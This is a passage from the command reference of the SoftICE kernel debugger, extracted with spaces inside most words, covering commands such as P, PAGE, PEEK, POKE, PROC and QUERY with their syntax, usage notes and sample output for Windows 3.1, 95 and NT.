i nst r uct i on. Thi s f unct i on wor ks i n ei t her 16- or 32- bi t code and al so wor ks i n
l evel 0 code.
The P command uses t he si ngl e st ep f l ag f or most i nst r uct i ons. For cal l ,
i nt er r upt , l oop, or
r epeat ed st r i ng i nst r uct i ons, a one- t i me I NT 3 st yl e br eakpoi nt execut i on
br eakpoi nt i s used.
I n sour ce mode one sour ce st at ement i s execut ed. I f t he sour ce st at ement
i nvol ves cal l i ng
anot her pr ocedur e, t he cal l i s not f ol l owed. The cal l ed pr ocedur e i s t r eat ed
l i ke a si ngl e
st at ement .

I f t he Regi st er wi ndow i s vi si bl e when Sof t I CE pops up, al l r egi st er s t hat have
been al t er ed
si nce t he P command was i ssued wi l l be di spl ayed wi t h t he bol d vi deo at t r i but e.
For cal l
i nst r uct i ons, t hi s wi l l show what r egi st er s a subr out i ne has not pr eser ved.
I n an unusual l y l ong pr ocedur e, t her e can be a not i ceabl e del ay when usi ng t he
P RET
command, because Sof t I CE i s si ngl e st eppi ng ever y i nst r uct i on.

For Wi ndows 95 and Wi ndows NT
The P command, by def aul t , i s t hr ead speci f i c. I f t he cur r ent EI P i s execut i ng
i n t hr ead X,
Sof t I CE wi l l not br eak unt i l t he pr ogr amst ep occur s i n t hr ead X. Thi s pr event s
t he case of
Wi ndows NT pr ocess swi t chi ng or t hr ead swi t chi ng dur i ng t he pr ogr amst ep
causi ng
execut i on t o st op i n a di f f er ent t hr ead or pr ocess t han t he one you wer e
debuggi ng. To change
t hi s behavi or , ei t her use t he SET command wi t h t he THREADP keywor d or di sabl e
t hr ead-
speci f i c st eppi ng i n t he t r oubl eshoot i ng Sof t I CE i ni t i al i zat i on set t i ngs.

%Exampl e
To execut e one pr ogr amst ep, use t he command:
P


: PAGE
^PAGE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay page t abl e i nf or mat i on.

%Synt ax
PAGE [ addr ess [ L l engt h] ]

addr ess Vi r t ual addr ess, segment : of f set addr ess, or sel ect or : of f set addr ess
t hat
you want t o know page t abl e i nf or mat i on about , i ncl udi ng t he vi r t ual
and physi cal addr ess.
l engt h Number of pages t o di spl ay.

%Use
Pagina 735 di 991
The PAGE command can be used t o l i st t he cont ent s of t he cur r ent page di r ect or y
or t he
cont ent s of i ndi vi dual page t abl e ent r i es.

Not e: Mul t i pl e page di r ect or i es ar e used onl y by Wi ndows NT.

I n t he x86 ar chi t ect ur e, a page di r ect or y cont ai ns 1024 4- byt e ent r i es, wher e
an ent r y speci f i es
t he l ocat i on and at t r i but es of a page t abl e t hat i s used t o map a r ange of
memor y r el at ed t o t he
ent r y' s posi t i on i n t he di r ect or y. ( These r anges ar e shown on t he f ar r i ght i n
t he PAGE
command' s out put of t he page di r ect or y. )

Each ent r y r epr esent s t he l ocat i on and at t r i but es of a speci f i c page wi t hi n t he
memor y r ange
mapped by t he page t abl e. An x86 pr ocessor page i s 4KB i n si ze, so a page t abl e
maps
4KB/ page * 1024 ent r i es = 4MB of memor y, and t he page di r ect or y maps up t o
4MB/ page
t abl e * 1024 ent r i es = 4GB of memor y.

NT 4. 0 uses t he 4 MB page f eat ur e of t he Pent i um/ Pent i umPr o pr ocessor s.
NTOSKRNL,
HAL, and al l boot dr i ver s ar e mapped i nt o a 4 MB page st ar t i ng at 2 GB
( 80000000h) .
When t he addr ess par amet er i s speci f i ed, i nf or mat i on about t he page t abl e ent r y
t hat maps
t he addr ess i s shown. Thi s i ncl udes t he f ol l owi ng:
. The l i near vi r t ual addr ess of t he st ar t of t he page mapped by t he ent r y.
. The physi cal addr ess t hat cor r esponds t o t he st ar t of t he page mapped by t he
ent r y.
. The page t abl e ent r y at t r i but es of t he page. Thi s i nf or mat i on cor r esponds
di r ect l y t o
pr ocessor def i ned at t r i but es. Page t abl e at t r i but es ar e r epr esent ed by bi t s
t hat i ndi cat e
whet her or not t he ent r y i s val i d, t he page i s di r t y or has been accessed,
whet her i t s a
super vi sor or user - mode page, and i t s access pr ot ect i ons. Onl y bi t at t r i but es
t hat ar e set
ar e shown by Sof t I CE.
. The page t ype. Thi s i nf or mat i on i s i nt er pr et ed f r omt he Wi ndows- def i ned bi t
f i el d i n t he
page t abl e ent r y and t he t ypes di spl ayed by Sof t I CE cor r espond t o Wi ndows
def i ni t i ons.

Use t he l engt h par amet er wi t h t he addr ess par amet er t o l i st i nf or mat i on about a
r ange of
consecut i ve page t abl e ent r i es. I t shoul d be not ed t hat t he PAGE command wi l l
not cr oss page
t abl e boundar i es when l i st i ng a r ange. Thi s means t hat a second PAGE command
must be
used t o l i st t he pages st ar t i ng wher e t he f i r st l i st i ng st opped, i n t he case
t hat f ewer ent r i es ar e
l i st ed t han you speci f i ed.

I f no par amet er s ar e speci f i ed, t he PAGE command shows t he cont ent s of t he
cur r ent page
di r ect or y. Each l i ne l i st ed r epr esent s 4MB of l i near addr ess space. The f i r st
l i ne shows t he
physi cal and l i near addr ess of t he page di r ect or y. Each f ol l owi ng l i ne di spl ays
t he i nf or mat i on
Pagina 736 di 991
i n each page di r ect or y ent r y. The dat a shown f or each ent r y i s t he same as i s
descr i bed above
f or i ndi vi dual page t abl e ent r i es, however , i n t hi s out put addr esses r epr esent
t he l ocat i ons of
page t abl es r at her t han pages.

%Out put
The f ol l owi ng i nf or mat i on i s di spl ayed by t he PAGE command:
physi cal addr ess I f a page di r ect or y i s bei ng di spl ayed t hen t hi s i s t he
physi cal addr ess
of t he page t abl e t hat a page di r ect or y ent r y r ef er s t o. Each page
di r ect or y ent r y r ef er ences one page t abl e whi ch cont r ol s 4MB of
memor y.

I f an addr ess par amet er i s ent er ed so t hat speci f i c pages ar e di spl ayed,
t hen t hi s i s t he physi cal addr ess t hat cor r esponds t o t he st ar t of a page.
l i near addr ess For Wi ndows 3. 1 and Wi ndows 95 onl y: I f t he page di r ect or y i s
bei ng
di spl ayed t hen t hi s i s t he vi r t ual addr ess of a page t abl e. Thi s i s t he
addr ess you woul d use i n Sof t I CE t o di spl ay t he page t abl e wi t h t he D
command.

I f speci f i c pages ar e bei ng di spl ayed, t hi s i s t he vi r t ual addr ess of a
page. I f a l engt h was ent er ed t hen t hi s i s t he vi r t ual addr ess of t he st ar t
of each page.

at t r i but e Thi s i s t he at t r i but e of t he page di r ect or y or page t abl e ent r y. The
val i d
at t r i but es ar e, as f ol l ows:
Wi ndows 3. 1, Wi ndows
95, and Wi ndows NT Wi ndows NT Onl y
P Pr esent S Super vi sor
D Di r t y RWRead/ Wr i t e
A Accessed 4M 4 MB page
( NT 4. 0 onl y)
U User
R Read Onl y
NP Not Pr esent

t ype For Wi ndows 3. 1 and Wi ndows 95 onl y: Each page di r ect or y ent r y
has a t hr ee- bi t f i el d t hat can be used by t he oper at i ng syst emt o cl assi f y
page t abl es. Wi ndows cl assi f i es page t abl es i nt o t he f ol l owi ng si x
cat egor i es:
I f a page i s mar ked Not Pr esent , t hen al l t hat i s di spl ayed i s NP f ol l owed by
t he dwor d
cont ent s of t he page t abl e ent r y.

%Exampl e
For Wi ndows 3. 1 and Wi ndows 95
PAGE wi t h no par amet er s di spl ays page di r ect or y i nf or mat i on. The f ol l owi ng i s a
sampl e
PAGE command out put :
PAGE

Page Di r ect or y Physi cal =002B6000 Li near =006B600
Syst emPr i vat e
I nst ance Rel ock
VM Hooked
Physi cal Li near At t r i but es Type Li near Addr ess Range
002B7000 006B7000 P A U Syst em00000000- 003FFFFF
00109000 00509000 P A U Syst em00400000- 007FFFFF
0010A000 0050A000 P U Syst em00800000- 00BFFFFF
0010B000 0050B000 P U Syst em00C00000- 00FFFFFF
Pagina 737 di 991
0010C000 0050C000 P U Syst em01000000- 013FFFFF
002B8000 006B8000 P A U Syst em80000000- 803FFFFF
00106000 00506000 P A U Syst em80400000- 807FFFFF
00107000 00507000 P U Syst em80800000- 80BFFFFF
00108000 00508000 P U Syst em80C00000- 80FFFFFF
002B7000 006B7000 P A U Syst em81000000- 813FFFFF


PAGE wi t h an addr ess speci f i ed di spl ays t he page t abl e ent r y t hat cor r esponds
t o t hat addr ess.
I n t hi s exampl e, t hr ee page t abl e ent r i es ar e shown st ar t i ng wi t h t he page
t abl e ent r y t hat
cor r esponds t o addr ess 00106018. Not i ce t hat when t he l engt h par amet er i s
speci f i ed, t he
l i near addr ess i s t r uncat ed t o t he base addr ess of t he memor y page t hat
cont ai ns addr ess.
PAGE 00106018 l 3

I n t hi s exampl e PAGE can be used t o f i nd bot h t he vi r t ual and physi cal addr ess
of
sel ect or : of f set addr ess.
PAGE #585: 263C

For Wi ndows NT
When t he Page command di spl ays i nf or mat i on on ei t her PTEs or PDEs f or NT 4. 0, 4
MB
pages ar e i ndi cat ed by a pneumoni c 4M i n t he At t r i but es f i el d. The f ol l owi ng
sampl e out put
shows t he r egi on st ar t i ng at 2 GB.
. : PAGE

Page Di r ect or y Physi cal =00030000
Physi cal At t r i but es Li near Addr ess Range
00000000 P A S RW4M 80000000 - 803FFFFF
00400000 P A S RW4M 80400000 - 807FFFFF
00800000 P A S RW4M 80800000 - 80BFFFFF
00C00000 P A S RW4M 80C00000 - 80FFFFFF
01034000 P A S RW4M 81000000 - 813FFFFF
Li near Physi cal At t r i but es Type
00106000 00006000 P U VM
00107000 00007000 P U VM
00108000 00008000 P U VM
Li near Physi cal At t r i but es Type
0004A89C 00218442 P U I nst ance

The f ol l owi ng exampl e i s a par t i al l i st i ng of out put f r omt he PAGE command
bei ng execut ed
wi t hout par amet er s on Wi ndows NT 3. 51 so t hat t he page di r ect or y cont ent s ar e
pr i nt ed.
. : PAGE

Page Di r ect or y Physi cal =00030000
Physi cal At t r i but es Li near Addr ess Range
00380000 P A U RW00000000 - 003FFFFF
00611000 P A U RW77C00000 - 77FFFFFF
00610000 P A U RW7FC00000 - 7FFFFFFF
00032000 P A S RW80000000 - 803FFFFF
00034000 P A S RW80400000 - 807FFFFF
00035000 P A S RW80800000 - 80BFFFFF
00033000 P A S RW80C00000 - 80FFFFFF
00030000 P A S RWC0000000 - C03FFFFF
00040000 P A S RWC0400000 - C07FFFFF
00001000 P A S RWC0C00000 - C0FFFFFF
Pagina 738 di 991

Her e i s an exampl e of t he PAGE command bei ng used t o di spl ay t he at t r i but es and
addr esses
of t he page t hat i nst r uct i ons ar e cur r ent l y bei ng execut ed f r om.
. : PAGE ei p

Li near Physi cal At t r i but es
80404292 00404292 P D A S RW


: PAUSE
^PAUSE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Pause af t er each scr een.

%Synt ax
PAUSE [ on | of f ]

%Use
The PAUSE command cont r ol s scr een pause at t he end of each page. I f PAUSE i s
on, you ar e
pr ompt ed t o pr ess any key bef or e i nf or mat i on scr ol l s of f t he Command wi ndow.
The pr ompt
di spl ays i n t he st at us l i ne at t he bot t omof t he Command wi ndow.
I f you do not speci f y a par amet er , t he cur r ent st at e of PAUSE di spl ays.

The def aul t i s PAUSE on.

%Exampl e
The f ol l owi ng command speci f i es t hat t he subsequent Command wi ndow di spl ay wi l l
not
aut omat i cal l y scr ol l of f t he scr een. You ar e pr ompt ed t o pr ess a key bef or e
i nf or mat i on scr ol l s
of f t he scr een.
PAUSE on
See Al so SET


: PCI
^PCI Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Dump t he conf i gur at i on r egi st er s f or each PCI devi ce i n t he syst em.

%Synt ax
PCI

%Use
The PCI command dumps t he r egi st er s f or each PCI devi ce i n t he syst em. Do not
use t hi s
command on non- PCI syst ems. Many of t he ent r i es ar e sel f - expl anat or y, but some
ar e not .
Consul t t he PCI speci f i cat i on f or mor e i nf or mat i on about t hi s out put .

%Exampl e
The f ol l owi ng exampl e i l l ust r at es a par t i al sampl e out put f or t he PCI command:
. : PCI

Bus 00 Devi ce 00 Funct i on00
Vendor : 8086 I nt el
Devi ce: 1237
Revi si on: 02
Devi ce cl ass: 06 Br i dge devi ce
Devi ce subcl ass: 00 Host br i dge
Devi ce sub- subcl ass: 00
I nt er r upt l i ne: 00I nt er r upt pi n: 00 Mi n_Gnt : 00 MaxLat : 00
Pagina 739 di 991
Cache l i ne si ze: 00 Lat ency t i mer : 40 Header t ype: 00BI ST: 00
I / O: 0 Mem: 1 BusMAST: 1 Speci al : 0 MemI nv: 0
Par i t y: 0 Wai t : 0 SERR: 1 Back2Back: 0 Snoop: 0
Bus 00 Devi ce 07 Funct i on00
Vendor : 8086 I nt el
Devi ce: 7000
Revi si on: 01
Devi ce cl ass: 06 Br i dge devi ce
Devi ce subcl ass: 01 I SA br i dge
Devi ce sub- subcl ass: 00
I nt er r upt l i ne: 00I nt er r upt pi n: 00 Mi n_Gnt : 00 MaxLat : 00
Cache l i ne si ze: 00 Lat ency t i mer : 00 Header t ype: 80BI ST: 00
I / O: 1 Mem: 1 BusMAST: 1 Speci al : 1 MemI nv: 0
Par i t y: 0 Wai t : 0 SERR: 0 Back2Back: 0 Snoop: 0


: PEEK.
^PEEK Wi ndows 95, Wi ndows NT Di spl ay/ Change Memor y
^Read f r omphysi cal memor y.

%Synt ax
PEEK[ si ze] addr ess

si ze B ( byt e) , W( wor d) , or D ( dwor d) . Si ze def aul t s t o B.
addr ess Physi cal memor y addr ess.

%Use
PEEK di spl ays t he byt e, wor d, or dwor d at a gi ven physi cal memor y l ocat i on.
PEEK i s usef ul
f or r eadi ng memor y- mapped I / O r egi st er s.

%Exampl e
The f ol l owi ng exampl e di spl ays t he dwor d at physi cal addr ess FF000000:
PEEKD FF000000


: PHYS
^PHYS Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay al l vi r t ual addr esses t hat cor r espond t o a physi cal addr ess.

%Synt ax
PHYS physi cal - addr ess

physi cal - addr ess Memor y addr ess t hat t he x86 gener at es af t er a vi r t ual addr ess
has been
t r ansl at ed by i t s pagi ng uni t . I t i s t he addr ess t hat appear s on t he
comput er ' s BUS, and i s i mpor t ant when deal i ng wi t h memor y-
mapped har dwar e devi ces such as vi deo memor y.

%Use
Wi ndows uses x86 vi r t ual addr essi ng suppor t t o def i ne a r el at i onshi p bet ween
vi r t ual
addr esses, used by al l syst emand user code, and physi cal addr esses t hat ar e
used by t he
under l yi ng har dwar e. I n many cases a physi cal addr ess r ange may appear i n mor e
t han one
page t abl e ent r y, and t her ef or e mor e t han one vi r t ual addr ess r ange.
Sof t I CE does not accept physi cal addr esses i n expr essi ons. To vi ew t he cont ent s
of physi cal
memor y you must use t he PHYS command t o obt ai n l i near addr esses t hat can be
used i n
expr essi ons.

Pagina 740 di 991
For Wi ndows 95 and Wi ndows NT
The PHYS command i s speci f i c t o t he cur r ent addr ess cont ext . I t sear ches t he
Page Tabl es and
Page Di r ect or y associ at ed wi t h t he cur r ent Sof t I CE addr ess cont ext .

%Exampl e
Physi cal addr ess A0000h i s t he st ar t of VGA vi deo memor y. Vi deo memor y of t en
shows up i n
mul t i pl e vi r t ual addr ess i n Wi ndows. I n t hi s exampl e t her e ar e t hr ee di f f er ent
vi r t ual addr esses
t hat cor r espond t o physi cal A0000 as shown:
. : PHYS a0000
000A0000
004A0000
80CA0000

: POKE.
^POKE Wi ndows 95, Wi ndows NT Di spl ay/ Change Memor y
^Wr i t e t o physi cal memor y

%Synt ax
POKE[ si ze] addr ess val ue

si ze B ( byt e) , W( wor d) , or D ( dwor d) . Si ze def aul t s t o B.
addr ess Physi cal memor y addr ess.
val ue Val ue t o wr i t e t o memor y.

%Use
POKE wr i t es a byt e, wor d, or dwor d val ue t o a gi ven physi cal memor y l ocat i on.
POKE i s
usef ul f or wr i t i ng t o memor y- mapped I / O r egi st er s.

%Exampl e
The f ol l owi ng exampl e wr i t es t he dwor d val ue 0x12345678 t o physi cal addr ess
FF000000:
POKED FF000000 12345678

: Pr i nt Scr n
^Pr i nt Scr een Key
^Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Pr i nt cont ent s of scr een.

%Synt ax
PRI NT SCREEN key

%Use
Pr essi ng PRI NT SCREEN dumps al l t he i nf or mat i on f r omt he Sof t I CE scr een t o your
pr i nt er .
By def aul t , t he pr i nt er por t i s LPT1. Use t he PRN command t o change your
pr i nt er por t .
Si nce Sof t I CE accesses t he har dwar e di r ect l y f or al l of i t s I / O, Pr i nt Scr een
wor ks onl y on
pr i nt er s connect ed di r ect l y t o a COM or LPT por t . I t does not wor k on net wor k
pr i nt er s.
I f you do not want t o dump t o a pr i nt er , choose Save Sof t I CE Hi st or y f r omt he
Fi l e menu i n
t he Sof t I CE Loader t o wr i t e t he Sof t I CE command l i ne wi ndow hi st or y t o a f i l e.

For Wi ndows 95 and Wi ndows NT
Fr oma DOS VM, use t he DLOG. EXE ut i l i t y t o l og t he Sof t I CE Command wi ndow
i nf or mat i on.


Pagina 741 di 991
: PRN
^PRN Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Set pr i nt er out put por t .

%Synt ax
PRN [ l pt x | comx]

x Deci mal number bet ween 1 and 2 f or LPT, or bet ween 1 and 4 f or
COM .

%Use
The PRN command al l ows you t o send out put f r omPr i nt Scr een t o a di f f er ent
pr i nt er por t .
I f no par amet er s ar e suppl i ed, PRN di spl ays t he cur r ent l y assi gned pr i nt er
por t .

%Exampl e
Thi s command causes Pr i nt Scr een out put t o go t o t he COM1 por t .
PRN com1


^: PROC
^PROC Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay summar y i nf or mat i on about any or al l pr ocesses i n t he syst em.

%Synt ax
For Wi ndows 95
PROC [ - xo] [ t ask]

For Wi ndows NT
PROC [ [ - xom] pr ocess- t ype | t hr ead- t ype]
- eXt ended Di spl ay ext ended i nf or mat i on f or each t hr ead.
- Obj ect s Di spl ay l i st of obj ect s i n pr ocesses handl e t abl e.
- Memor y Di spl ay i nf or mat i on about t he memor y usage of a pr ocess.
t ask Task name.
pr ocess- t ype Pr ocess handl e, pr ocess I D, or pr ocess name.
t hr ead- t ype Thr ead handl e or t hr ead I D.

%Use
I f you speci f y PROC wi t h no opt i ons, summar y i nf or mat i on i s pr esent ed f or one
or al l
pr ocesses i n t he syst em. The i nf or mat i on t he - Memor y opt i on pr ovi des i s al so
i ncl uded when
you speci f y t he - eXt ended opt i on f or Wi ndows NT. I t i s pr ovi ded f or
conveni ence, because
t he amount of ext ended i nf or mat i on di spl ayed i s qui t e l ar ge.

For al l pr ocess ( and t hr ead) t i mes, as wel l as pr ocess memor y i nf or mat i on,
Sof t I CE uses r aw
val ues f r omwi t hi n t he OS dat a st r uct ur es wi t hout per f or mi ng cal cul at i ons t o
conver t t hem
i nt o st andar di zed uni t s.

The - Obj ect opt i on di spl ays t he obj ect poi nt er , t he obj ect handl e, and t he
obj ect t ype f or
ever y obj ect i n t he pr ocesses obj ect handl e t abl e. Because obj ect i nf or mat i on
i s al l ocat ed f r om
t he syst ems pageabl e pool , t he obj ect s t ype name wi l l not al ways be avai l abl e.
I n t hi s case,
quest i on mar ks ( ???) ar e di spl ayed.

%Out put
For Wi ndows 95
Pagina 742 di 991
For each pr ocess t he f ol l owi ng summar y i nf or mat i on i s pr ovi ded:
Pr ocess Task name.
pPr ocess Poi nt er t o pr ocess dat abase ( pdb) .
Pr ocess I D The Ri ng 3 I D of t he pr ocess.
Thr eads Number of t hr eads t he pr ocess owns.
Cont ext Addr ess cont ext .
Def Heap Def aul t heap.
DebuggeeCB Debuggee cont ext bl ock.

For Wi ndows NT
For each pr ocess t he f ol l owi ng summar y i nf or mat i on i s pr ovi ded:
Pr ocess Pr ocess name.
KPEB Addr ess of t he Ker nel Pr ocess Envi r onment Bl ock.
PI D Pr ocess I D.
Thr eads Number of t hr eads t he pr ocess owns.
Pr i or i t y Base pr i or i t y of t he pr ocess .
User Ti me Rel at i ve amount of t i me t he pr ocess spent execut i ng code at user
l evel .
Kr nl Ti me Rel at i ve amount of t i me t he pr ocess spent execut i ng code at t he
ker nel
l evel .

St at us Cur r ent st at us of t he pr ocess:
. Runni ng: The pr ocess i s cur r ent l y r unni ng.
. Ready: The pr ocess i s i n a r eady t o r un st at e.
. I dl e: The pr ocess i s i nact i ve.
. Swapped: The pr ocess i s i nact i ve, and i t s addr ess space has been
del et ed.
. Tr ansi t i on: The pr ocess i s cur r ent l y bet ween st at es.
. Ter mi nat i ng: The pr ocess i s t er mi nat i ng.


%Exampl e For Wi ndows 95
Thi s exampl e l i st s al l t he pr ocesses i n t he syst em.
. : PROC

Thi s exampl e shows ext ended i nf or mat i on f or GDI DEMO:
. : PROC - x gdi demo
Pr ocess I nf or mat i on f or Gdi demo at 81569F04
Pr ocess pPr ocess Pr ocessI D Thr eads Cont ext Def Heap DebuggeeCB
Wi nwor d 8156ACA8 FFFC8817 00000001 C10474D4 00400000 00000000
Gdi demo 81569F04 FFFCBBBB 00000001 C1033E38 00410000 00000000
Loader 32 8156630C FFFC47B3 00000001 C10476D0 00470000 00000000
Expl or er 815614C0 FFFC307F 00000002 C104577C 00440000 00000000
Mpr exe 8155DFA4 FFFFFB1B 00000002 C1043340 00510000 00000000
MSGSRV32 8155D018 FFFFF4A7 00000001 C1041E28 00400000 00000000
KERNEL32 8165A31C FFFCF87A3 00000004 C10D9EDC 00640000 00000000
Type: 00000005 Ref Count : 00000002 Unknown1: 00000000
pEvent : 81569FC8 Ter mSt at us: 00000103 Unknown2: 00000000
Def aul t Heap: 00410000 MemCont ext : C1033E38
Fl ags: 00000000
pPSP: 0001A1A0 PSPSel ect or : 26E7 MTEI ndex: 0019
Thr eads: 0001 Thr Not Ter m: 0001 Unknown3: 00000000
R0t hr eads: 0001 HeapHandl e: 8155B000 K16TDB: 2816
MMFVi ews: 00000000 pEDB: 8156A448 pHandl eTabl e: 8156A2C0
Par ent PDB: 8156630C MODREFl i st : 8156ABB0 Thr eadl i st : 81569FE8
DebuggeeCB: 00000000 LHFr eeHead: 00000000 I ni t i al R0I D: 00000000
&cr t LoadLock: 81569F64 pConsol e: 00000000 Unknown4: C007757C
Pr ocDWORD0: 00003734 Pr ocGr oup: 8156630C Par ent MODREF: 8156ABB0
TopExFi l t er : 00000000 Pr i or i t yBase: 00000008 Heapownl i st : 00650000
HHandl eBl ks: 0051000C Unknown5: 00000000 pConPr ovi der : 00000000
wEnvSel : 19B7 wEr r or Mode: 0000 pEvt LdFi ni sh 8156A2A0
UTSt at e: 0000
Pagina 743 di 991
Envi r onment Dat abase

Thi s exampl e shows a par t i al l i st i ng of t he obj ect s i n Ker nel 32:
. : PROC - o ker nel 32
Envi r onment : 00520020 Unknown1: 00000000
CommandLi ne: 8156A500 C: \ PROJ ECTS\ GDI DEMO\ Gdi demo. exe
Cur r ent Di r : 8156A524 C: \ PROJ ECTS\ GDI DEMO
St ar t upI nf o: 8156A53C hSt dI n: FFFFFFFF hSt dOut : FFFFFFFF
hSt dEr r or : FFFFFFFF Unknown2: 00000001 I nher i t Con 00000000
Br eakType: 00000000 Br eakSem: 00000000 Br eakEvent : 00000000
Br eakThr eadI d: 00000000 Br kHandl er s: 00000000
Handl e Obj ect Type
1 8165A32C Pr ocess
2 8155BFFC Event
3 C103E3A4 Memor y Mapped f i l e
4 C0FFE0E0 Memor y Mapped f i l e
5 C0FFE22C Memor y Mapped f i l e
6 C0FF1058 Memor y Mapped f i l e
7 8155C01C Event
8 8155CCE4 Event
9 8155CD5C Event
A 8155CD8C Thr ead
B 8155D008 Event
C C1041C04 Memor y Mapped f i l e
D 8155D870 Event

For Wi ndows NT
The f ol l owi ng i s an exampl e usi ng t he PROC command wi t hout par amet er s:
. : PROC

Not e: The pr ocess t hat was act i ve when Sof t I CE popped up wi l l be hi ghl i ght ed.
The
cur r ent l y act i ve pr ocess/ addr ess cont ext wi t hi n Sof t I CE wi l l be i ndi cat ed by an
ast er i sk
( *) .
Pr ocess KPEB PI D Thr eads Pr i User
Ti me
Kr nl
Ti me
St at us
Syst emFD8E0020 2 14 8 00000000 00001A48 Ready
smss FD8B9020 13 6 B 00000022 00000022 Swapped
csr ss FD8B3DC0 1F 12 D 00B416C5 00049C4E Ready
wi nl ogon FD8AD020 19 2 D 00000028 00000072 I dl e
ser vi ces FD8A6880 28 B 9 0000018E 0000055A I dl e
l sass FD8A4020 2A C 9 0000001B 00000058 I dl e
spool ss FD87ACA0 43 6 8 000000AB 000000BD I dl e
nddeagnt FD872780 4A 1 8 00000004 0000000C I dl e
*nt vdmFD86DDC0 50 6 9 00125B98 0003C0BE Runni ng
scmFD85B300 5D 3 8 00000024 0000008A I dl e
Expl or er FD850020 60 3 D 000002DE 00000447 Ready
I dl e 8016A9E0 0 1 0 00000000 00135D03 Ready

The f ol l owi ng i s an exampl e of usi ng t he - eXt ended opt i on f or a speci f i c
pr ocess, i n t hi s case
Expl or er :
. : PROC - x expl or er
Ext ended Pr ocess I nf or mat i on f or Expl or er ( 60)
KPEB: FD850020 PI D: 60 Par ent : Unknown( 48)
Base Pr i : D MemPr i : 0 Quant um: 2
Usage Cnt : 1 Wi n Ver : 4. 00 Er r . Mode: 0
St at us: Ready
Pr ocessor : 00000000 Af f i ni t y: 1
Pagina 744 di 991
Page Di r ect or y: 011CA000 LDT Base: 00000000 LDT Li mi t : 0000
Ker nel Ti me: 00000447 User Ti me: 000002DE
Cr eat e Ti me: 01BB10646E2DBE90
Exi t Ti me: 0000000000000000
Vad Root : FD842E28 MRU Vad: FD842E28 Empt y Vad: FD823D08
DebugPor t : 00000000 Except Por t : E118B040 SE t oken: E1240450
Spi nLock: 00000000 HUPEB: 00000004 UPEB: 7FFDF000
For kI nPr ogr ess: FALSE Thr ead: 00000000( 0)
Pr ocess Lock: 00000001 Owner : 00000000( 0)
Copy MemLock: 00000000 Owner : 00000000( 0)
Locked Pages: 00000000 Pr ot oPTEs: 000000DD Modi f i ed Pages: 000000E4
Pr i vat e Pages: 0000014F Vi r t Si ze: 013F8000 Peak Vi r t Si ze: 01894000
- - - - Wor ki ng Set I nf or mat i on - - - -
Updat e Ti me: 01BB11D0D7B299C0
Dat a: C0502000 Tabl e: C0502470
Pages: 00000879 Faul t s: 00000899 Peak Si ze: 00000374
Si ze: 000002AF Mi ni mum: 00000032 Maxi mum: 00000159
- - - - Non Pageabl e Pool St at i st i cs - - - -
Quot a Usage: 00000E78 Peak Usage: 00001238
I nher i t ed Usage: 0000C093 Peak Usage: 00056555 Li mi t : 00080000
- - - - Pageabl e Pool St at i st i cs - - - -
Quot a Usage: 00003127 Peak Usage: 00004195
I nher i t ed Usage: 0000C000 Peak Usage: 00004768 Li mi t : 000009CA
- - - - Pagef i l e St at i st i cs - - - -
Quot a Usage: 00000151 Peak Usage: 0000016E
I nher i t ed Usage: FFFFFFFF Peak Usage: 00000151 Li mi t : 00000000
- - - - Handl e Tabl e I nf or mat i on - - - -
Handl e Tabl e: E10CE5E8 Handl e Ar r ay: E1265D48 Ent r i es: 50

: QUERY
^QUERY Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he vi r t ual addr ess map of a pr ocess.

%Synt ax
QUERY [ [ - x] addr ess] | [ pr ocess- t ype]

- x Shows t he mappi ng f or a speci f i c l i near addr ess wi t hi n ever y cont ext
wher e i t i s val i d.
addr ess Li near addr ess t o quer y.
pr ocess- t ype Expr essi on t hat can be i nt er pr et ed as a pr ocess.

%Use
The QUERY command di spl ays a map of a si ngl e pr ocess' s vi r t ual addr ess space or
t he
mappi ng f or a speci f i c l i near addr ess. I f no par amet er i s speci f i ed, QUERY
di spl ays t he map of
t he cur r ent pr ocess. I f a pr ocess par amet er i s speci f i ed, QUERY di spl ays
i nf or mat i on about
each addr ess r ange i n t he pr ocess.

%Out put
For Wi ndows 95
Under Wi ndows 95, t he QUERY command di spl ays t he f ol l owi ng i nf or mat i on:
Base Poi nt er t o t he base addr ess of t he r egi on of pages.
Al l ocBase Poi nt er t o t he base addr ess of a r ange of pages al l ocat ed by t he
Vi r t ual Al l oc f unct i on t hat cont ai ns t he base addr ess i n t he Base
col umn.
Al l ocPr ot ect Access pr ot ect i on assi gned when t he r egi on was i ni t i al l y
al l ocat ed.
Si ze Si ze, i n byt es, of t he r egi on st ar t i ng at t he base addr ess i n whi ch al l
pages have t he same at t r i but es.
St at e St at e of t he pages i n t he r egi on : Commi t , Fr ee, or Reser ve.
. Commi t - - - Commi t t ed pages f or whi ch physi cal st or age was
Pagina 745 di 991
al l ocat ed
. Fr ee - - - Fr ee pages not accessi bl e t o t he cal l i ng pr ocess and
avai l abl e t o be al l ocat ed. Al l ocBase, Al l ocPr ot ect , Pr ot ect , and
Owner ar e undef i ned.
. Reser ve - - - Reser ved pages. A r ange of t he pr ocess' s vi r t ual addr ess
space i s r eser ved, but physi cal st or age i s not al l ocat ed. Cur r ent
Access Pr ot ect i on ( Pr ot ect ) i s undef i ned.
Pr ot ect Cur r ent Access pr ot ect i on.
Owner Owner of t he r egi on.
Cont ext Addr ess cont ext .

For Wi ndows NT
The QUERY command di spl ays t he f ol l owi ng i nf or mat i on:
Cont ext Addr ess cont ext .
Addr ess Range St ar t and end addr ess of t he l i near r ange.
Fl ags Fl ags f r omt he node st r uct ur e.
MMCI Poi nt er t o t he memor y management st r uct ur e.
PTE St r uct ur e t hat cont ai ns t he Pr ot oPTEs f or t he addr ess r ange.
Name Addi t i onal i nf or mat i on about t he r ange. Thi s i ncl udes t he f ol l owi ng:
. Memor y mapped f i l es wi l l show t he name of t he mapped f i l e.
. Execut abl e modul es wi l l show t he f i l e name of t he DLL or EXE.
. St acks wi l l be di spl ayed as STACK( t hr ead I D) .
. Thr ead i nf or mat i on bl ocks wi l l be di spl ayed as TI B( t hr ead I D) .
. Any addr ess t hat t he WHAT command can i dent i f y may al so
appear .

%Exampl e
Wi ndows 95
